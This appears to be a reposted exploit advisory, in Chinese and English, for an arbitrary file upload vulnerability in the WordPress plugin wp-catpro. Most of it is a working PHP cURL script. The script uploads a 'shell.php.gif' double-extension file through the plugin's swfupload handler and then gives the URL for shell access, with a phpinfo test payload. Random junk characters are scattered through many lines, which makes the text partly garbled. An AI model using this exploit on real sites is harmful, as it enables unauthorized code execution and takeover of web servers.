WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
" a, a. F7 b1 l7 G#-----------------------------------------------------------------------

作者  => Zikou-16
' j% j8 Z, b- \8 Q; L% @1 w邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####
& a! ]! K+ f$ a
#=> Exploit 信息:
3 p( b; V+ {' S) c" H------------------
# 攻击者可以上传 file/shell.php.gif
2 T7 }. a% E" X" F5 B# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
4 K- W% I1 z6 }$ z- E4 N  q% J' ~# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
0 @( }# Y+ _' N) Q3 s$ {! W------------------

( V( e; M; s. L5 I#=> Exploit
+ |! ?& u5 P# x-----------
8 n6 E  [  Z/ S$ y! w3 d, I  h<?php

$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
! B& @& Y% }. f- r6 scurl_setopt($ch, CURLOPT_POSTFIELDS,
1 v6 r) i+ `/ ~* O! X1 aarray('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
# r8 Y. J# f9 L" D8 b$ }! }$postResult = curl_exec($ch);
curl_close($ch);
( @* I& L- D6 d" o
print "$postResult";
. t- ]0 y9 s4 S, i3 N, x7 h2 q8 l
" _6 o: B) @4 _! D; YShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
+ W# L+ S' K' Z: }  ^* `0 n  ?>
<?php
phpinfo();
?>